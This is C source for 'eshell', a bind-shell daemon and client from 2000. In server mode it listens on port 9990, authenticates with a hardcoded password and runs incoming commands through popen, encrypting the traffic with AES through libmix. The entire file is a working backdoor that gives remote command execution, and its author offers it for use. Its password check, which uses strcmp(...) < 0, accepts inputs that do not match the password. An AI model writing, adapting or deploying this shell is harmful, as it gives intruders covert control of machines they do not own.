/* Program name : eshell v.01, 2000-12-19 Tested on : linux Author : jenggo , #karet Require : libmix -- http://mixter.warrior2k.com Description : eshell, Encrypted bindshell daemon/client with AES crypto algorithm supported. It is popen(), NOT full I/O bash shell ... TODO : make full functional encrypted bindshell ( any ideas ? ) BUGS : if received data > max_size the output will truncated stderr is also truncated very very not optimized :P Compile : gcc eshell.c -o eshell -lmix -Wall Usage : ./eshell -h Thankie : echo, ularkasur #karet */ #include #define PORT 9990 /* port to listen or send */ #define PASS "taun baruan dimana ya ?" /* password, change this */ #define AES_ALG SAFERP /* AES Algorithm to use */ #define RECSIZE 65536 /* max size of received data, make sure its big enough */ #define SNDSIZE 4096 /* max command size */ void servermode (unsigned long to, int port); void clientmode (char *host, int port); void usage(char *cmd); void usage (char *cmd) { printf ("Usage: %s \n",cmd); printf ("Encrypted bindshell daemon/client with AES crypto algorithm supported\n"); printf ("if called without any argument will run into server mode\n\n"); printf (" %s\t\t -- client mode\n",cmd); printf (" \t\t\t host is hostname / IP to connect\n"); printf (" %s\t\t -- server mode\n",cmd); exit(0); } void servermode (unsigned long to, int port) { int i = 0, h, sock = socket (PF_INET, SOCK_STREAM, 0), insock, heh; char *p, *q, d[SNDSIZE*2]; struct sa sin; struct sa sout; FILE *com; fd_set dupfd; sin.fam = PF_INET; sin.add = to; sin.dp = htons(port); if((bind(sock,(struct sockaddr *)&sin,sizeof(sin))<0)) exit(printf("Bind error\n")); if((listen(sock,5))<0) exit(printf("Listen error\n")); heh=sizeof(struct sockaddr_in); /* init AES */ alg = AES_ALG; aes_key ((const char *)PASS); while (1) { if((insock=accept(sock, (struct sockaddr *)&sout, &heh)) == -1) { perror("accept"); exit(1); } signal(SIGHUP,SIG_IGN); signal(SIGCHLD,SIG_IGN); // zombies dead if(!fork()) { /* authenticate first */ memset(d,'\0', sizeof(d)); h=read(insock, d, sizeof(d)-1); i = strlen(d); p = (char *) aes_decrypt((const u1byte *) d, i); if ((strcmp(p, PASS)) < 0) { exit(0); } free(p); /* make it like a real shell :) */ while (1) { FD_ZERO(&dupfd); FD_SET(insock,&dupfd); FD_SET(STDIN_FILENO,&dupfd); select(insock+1,&dupfd,NULL,NULL,NULL); if (FD_ISSET(insock,&dupfd)) { memset(d,'\0', sizeof(d)); h=read(insock, d, sizeof(d)-1); if (h <= 0) exit(0); /* decrypt */ i = strlen(d); p = (char *) aes_decrypt((const u1byte *) d, i); /* build the command */ dup2(insock,2); com = popen (p,"r"); free (p); while (!feof(com)) { memset(d,'\0', sizeof(d)); fread (d, 1, sizeof(d)-1, com); /* encrypt it */ i = strlen(d); q = (char *) aes_encrypt((const u1byte *) d, &i); /* send the result */ write (insock, q, strlen(q)); free (q); // sleep(1); } pclose(com); } } } } } void clientmode (char *host, int port) { int i = 0, h, sock = socket (PF_INET, SOCK_STREAM, 0); char *p,*g; struct sa sin; fd_set dupfd; sin.fam = PF_INET; sin.add = resolve (host); sin.dp = htons(PORT); /* init AES */ alg = AES_ALG; aes_key ((const char *)PASS); (void) connect(sock, (struct sockaddr *) &sin, sizeof(sin)); /* send encrypted pass */ i = strlen(PASS); p = (char *) aes_encrypt((const u1byte *) PASS, &i); (void) write (sock, p, strlen(p)); free(p); while (1) { FD_ZERO(&dupfd); FD_SET(sock,&dupfd); FD_SET(STDIN_FILENO,&dupfd); select(sock+1,&dupfd,NULL,NULL,NULL); /* read from socket */ if (FD_ISSET(sock,&dupfd)) { if ((g=malloc(RECSIZE)) < 0) { printf("malloc()\n"); exit(0); } memset(g, '\0', RECSIZE); h=read(sock,g,RECSIZE-1); if (h <= 0) exit(0); /* decrypt it */ i = strlen(g); p = (char *) aes_decrypt((const u1byte *) g, i); printf("%s",p); free (p); free (g); } /* read from stdin */ if (FD_ISSET(STDIN_FILENO,&dupfd)) { if ((g=malloc(SNDSIZE)) < 0) { printf("malloc()\n"); exit(0); } memset(g, 0, SNDSIZE); h=read(STDIN_FILENO,g, SNDSIZE); if (h > 0) { /* encrypt it */ i = strlen(g); p = (char *) aes_encrypt((const u1byte *) g, &i); (void) write (sock, p, strlen(p)); free(p); free(g); } } } } int main (int argc, char **argv) { unsigned long lh; if (argc > 1) { if ( (strcmp(argv[1],"-h") == 0) || (strcmp(argv[1],"--help") == 0) ) { usage(argv[0]); exit(0); } else { if ( (strlen(argv[1]) < 65) && (argc == 2)) { printf ("Remember it is sh -c \"your commands\" , not full I/O shell !\n"); printf ("Client mode: \n"); clientmode (argv[1], PORT); } else { printf ("error: bad hostname\n"); usage (argv[0]); exit(0); } } } else { lh = resolve ("localhost"); servermode (lh, PORT); } return 0; }